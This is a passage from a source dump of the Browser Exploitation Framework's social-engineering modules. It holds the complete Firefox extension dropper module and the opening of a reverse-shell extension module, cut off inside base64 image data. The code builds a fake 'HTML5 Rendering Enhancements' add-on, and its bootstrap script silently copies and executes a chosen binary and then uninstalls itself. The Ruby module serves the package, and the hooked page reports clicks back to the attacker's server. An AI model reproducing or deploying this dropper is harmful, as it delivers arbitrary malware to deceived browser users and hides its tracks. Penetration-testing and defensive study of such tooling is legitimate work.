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'>\");\n        $j(hid).append(elr);\n        $j(hid).click(function() {\n            $j(this).slideUp(300,function() {\n                $j(this).remove();\n            });\n            //window.location.href = ff_extension;\n            window.open(base_host+ff_extension);\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n        });\n        $j(hid).css('cursor','pointer');\n        $j(hid).slideDown(300,function() {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed');\n        });\n    }\n});\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        firefox_extension_dropper:\n            enable: true\n            category: [\"Social Engineering\"]\n            name: \"Firefox Extension (Dropper)\"\n            description: \"Create on the fly a malicious Firefox extension that embeds a dropper you can specify (add it to the 'dropper' directory). <br/><br/> The extension is based on the original work from Michael Schierl and his Metasploit module.\"\n            authors: [\"antisnatchor\"]\n            target:\n                user_notify:\n                    FF:\n                        min_ver: 1\n                        max_ver: 56\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/dropper/readme.txt",
    "content": "Place in this directory the binary you want to drop and execute through the Firefox extension.\nMake sure to have just ONE file in this directory (other than this readme.txt)."
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/extension/bootstrap.js",
    "content": "\nfunction startup(data, reason) {\n  var file = Components.classes[\"@mozilla.org/file/directory_service;1\"].\n          getService(Components.interfaces.nsIProperties).\n          get(\"ProfD\", Components.interfaces.nsIFile);\n  file.append(\"extensions\");\n    xpi_guid=\"{861fb387-92ce-bb0a-cb48-4b923dbc292b}\";payload_name=\"__payload_placeholder__\";\n  file.append(xpi_guid);\n  file.append(payload_name);\n  var tmp = Components.classes[\"@mozilla.org/file/directory_service;1\"].\n          getService(Components.interfaces.nsIProperties).\n          get(\"TmpD\", Components.interfaces.nsIFile);\n  tmp.append(payload_name);\n  tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);\n  file.copyTo(tmp.parent, tmp.leafName);\n    \n  var process=Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);\n  process.init(tmp);\n  process.run(false,[],0);\n      \n  try { // Fx < 4.0\n    Components.classes[\"@mozilla.org/extensions/manager;1\"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);\n  } catch (e) {}\n  try { // Fx 4.0 and later\n    Components.utils.import(\"resource://gre/modules/AddonManager.jsm\");\n    AddonManager.getAddonByID(xpi_guid, function(addon) {\n      addon.uninstall();\n    });\n  } catch (e) {}\n      }"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/extension/chrome.manifest",
    "content": "content\t{861fb387-92ce-bb0a-cb48-4b923dbc292b}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/extension/install.rdf",
    "content": "<?xml version=\"1.0\"?>\n<RDF xmlns=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:em=\"http://www.mozilla.org/2004/em-rdf#\">\n  <Description about=\"urn:mozilla:install-manifest\">\n    <em:id>{861fb387-92ce-bb0a-cb48-4b923dbc292b}</em:id>\n    <em:name>__extension_name_placeholder__</em:name>\n    <em:version>1.0</em:version>\n    <em:bootstrap>true</em:bootstrap>\n    <em:unpack>true</em:unpack>\n    <em:targetApplication>\n      <Description>\n        <em:id>toolkit@mozilla.org</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    <em:targetApplication>\n      <Description>\n        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>\n        <em:minVersion>1.0</em:minVersion>\n        <em:maxVersion>*</em:maxVersion>\n      </Description>\n    </em:targetApplication>\n    </Description>\n</RDF>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/extension/overlay.xul",
    "content": "<?xml version=\"1.0\"?>\n<overlay xmlns=\"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul\">\n  <script src=\"bootstrap.js\"/>\n  <script><![CDATA[window.addEventListener(\"load\", function(e) { startup(); }, false);]]></script>\n</overlay>"
  },
  {
    "path": "modules/social_engineering/firefox_extension_dropper/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Firefox_extension_dropper < BeEF::Core::Command\n  class Bind_extension < BeEF::Core::Router::Router\n    before do\n      headers 'Content-Type' => 'application/x-xpinstall',\n              'Pragma' => 'no-cache',\n              'Cache-Control' => 'no-cache',\n              'Expires' => '0'\n    end\n\n    get '/' do\n      response['Content-Type'] = 'application/x-xpinstall'\n      extension_path = settings.extension_path\n      print_info \"Serving malicious Firefox Extension (Dropper): #{extension_path}\"\n      send_file extension_path.to_s,\n                type: 'application/x-xpinstall',\n                disposition: 'inline'\n    end\n  end\n\n  def pre_send\n    # gets the value configured in the module configuration by the user\n    @datastore.each do |input|\n      @extension_name = input['value'] if input['name'] == 'extension_name'\n      @xpi_name = input['value'] if input['name'] == 'xpi_name'\n    end\n\n    mod_path = \"#{$root_dir}/modules/social_engineering/firefox_extension_dropper\"\n    extension_path = \"#{mod_path}/extension\"\n\n    # clean the build directory\n    FileUtils.rm_rf(\"#{extension_path}/build/.\", secure: true)\n\n    # retrieve the name of the dropper binary\n    Dir.foreach(\"#{mod_path}/dropper\") do |item|\n      if item != 'readme.txt' && item != '.' && item != '..'\n        @dropper = item\n        print_info \"Using dropper: '#{mod_path}/dropper/#{@dropper}'\"\n      end\n    end\n    if @dropper.nil?\n      print_error \"No dropper found in '#{mod_path}/dropper'\"\n      return\n    end\n\n    # copy in the build directory necessary file, substituting placeholders\n    File.open(\"#{extension_path}/build/install.rdf\", 'w') { |file| file.puts File.read(\"#{extension_path}/install.rdf\").gsub!('__extension_name_placeholder__', @extension_name) }\n    File.open(\"#{extension_path}/build/bootstrap.js\", 'w') { |file| file.puts File.read(\"#{extension_path}/bootstrap.js\").gsub!('__payload_placeholder__', @dropper) }\n    File.open(\"#{extension_path}/build/overlay.xul\", 'w') { |file| file.puts File.read(\"#{extension_path}/overlay.xul\") }\n    File.open(\"#{extension_path}/build/chrome.manifest\", 'w') { |file| file.puts File.read(\"#{extension_path}/chrome.manifest\") }\n    FileUtils.cp \"#{mod_path}/dropper/#{@dropper}\", \"#{extension_path}/build/#{@dropper}\"\n\n    extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper]\n\n    # create the XPI extension container\n    xpi = \"#{extension_path}/#{@xpi_name}.xpi\"\n    File.delete(xpi) if File.exist?(xpi)\n    Zip::File.open(xpi, Zip::File::CREATE) do |xpi|\n      extension_content.each do |filename|\n        xpi.add(filename, \"#{extension_path}/build/#{filename}\")\n      end\n    end\n\n    # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)\n    bind_extension = Firefox_extension_dropper::Bind_extension\n    bind_extension.set :extension_path, \"#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi\"\n    BeEF::Core::Server.instance.mount(\"/#{@xpi_name}.xpi\", bind_extension.new)\n    BeEF::Core::Server.instance.remap\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n    [\n      { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },\n      { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },\n      { 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/firefox_extension_reverse_shell/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var xpi_name = '<%= @xpi_name %>';\n    var ff_extension = '/' + xpi_name + '.xpi';\n\n    if(beef.browser.isFF()){\n        var id = beef.dom.generateID();\n        var pid = beef.dom.generateID();\n        var zztop = beef.dom.getHighestZindex()+1;\n        var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'});\n        var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'})\n        var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'});\n        $j('body').append(el);\n        var hid = '#'+id;\n        var hpid = '#'+pid;\n        $j(hid).append(elp);\n        $j(hpid).html(\"<%= @notification_text %>&nbsp;<img style='padding:0; margin:5px; position: absolute; top: 0;' src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA1wAAAAZCAYAAAAlmC+GAAAABGdBTUEAALGPC/xhBQAACkFpQ0NQSUNDIFByb2ZpbGUAAEgNnZZ3VFPZFofPvTe90BIiICX0GnoJINI7SBUEUYlJgFAChoQmdkQFRhQRKVZkVMABR4ciY0UUC4OCYtcJ8hBQxsFRREXl3YxrCe+tNfPemv3HWd/Z57fX2Wfvfde6AFD8ggTCdFgBgDShWBTu68FcEhPLxPcCGBABDlgBwOFmZgRH+EQC1Py9PZmZqEjGs/buLoBku9ssv1Amc9b/f5EiN0MkBgAKRdU2PH4mF+UClFOzxRky/wTK9JUpMoYxMhahCaKsIuPEr2z2p+Yru8mYlybkoRpZzhm8NJ6Mu1DemiXho4wEoVyYJeBno3wHZb1USZoA5fco09P4nEwAMBSZX8znJqFsiTJFFBnuifICAAiUxDm8cg6L+TlongB4pmfkigSJSWKmEdeYaeXoyGb68bNT+WIxK5TDTeGIeEzP9LQMjjAXgK9vlkUBJVltmWiR7a0c7e1Z1uZo+b/Z3x5+U/09yHr7VfEm7M+eQYyeWd9s7KwvvRYA9iRamx2zvpVVALRtBkDl4axP7yAA8gUAtN6c8x6GbF6SxOIMJwuL7OxscwGfay4r6Df7n4Jvyr+GOfeZy+77VjumFz+BI0kVM2VF5aanpktEzMwMDpfPZP33EP/jwDlpzcnDLJyfwBfxhehVUeiUCYSJaLuFPIFYkC5kCoR/1eF/GDYnBxl+nWsUaHVfAH2FOVC4SQfIbz0AQyMDJG4/egJ961sQMQrIvrxorZGvc48yev7n+h8LXIpu4UxBIlPm9gyPZHIloiwZo9+EbMECEpAHdKAKNIEuMAIsYA0cgDNwA94gAISASBADlgMuSAJpQASyQT7YAApBMdgBdoNqcADUgXrQBE6CNnAGXARXwA1wCwyAR0AKhsFLMAHegWkIgvAQFaJBqpAWpA+ZQtYQG1oIeUNBUDgUA8VDiZAQkkD50CaoGCqDqqFDUD30I3Qaughdg/qgB9AgNAb9AX2EEZgC02EN2AC2gNmwOxwIR8LL4ER4FZwHF8Db4Uq4Fj4Ot8IX4RvwACyFX8KTCEDICAPRRlgIG/FEQpBYJAERIWuRIqQCqUWakA6kG7mNSJFx5AMGh6FhmBgWxhnjh1mM4WJWYdZiSjDVmGOYVkwX5jZmEDOB+YKlYtWxplgnrD92CTYRm40txFZgj2BbsJexA9hh7DscDsfAGeIccH64GFwybjWuBLcP14y7gOvDDeEm8Xi8Kt4U74IPwXPwYnwhvgp/HH8e348fxr8nkAlaBGuCDyGWICRsJFQQGgjnCP2EEcI0UYGoT3QihhB5xFxiKbGO2EG8SRwmTpMUSYYkF1IkKZm0gVRJaiJdJj0mvSGTyTpkR3IYWUBeT64knyBfJQ+SP1CUKCYUT0ocRULZTjlKuUB5QHlDpVINqG7UWKqYup1aT71EfUp9L0eTM5fzl+PJrZOrkWuV65d7JU+U15d3l18unydfIX9K/qb8uAJRwUDBU4GjsFahRu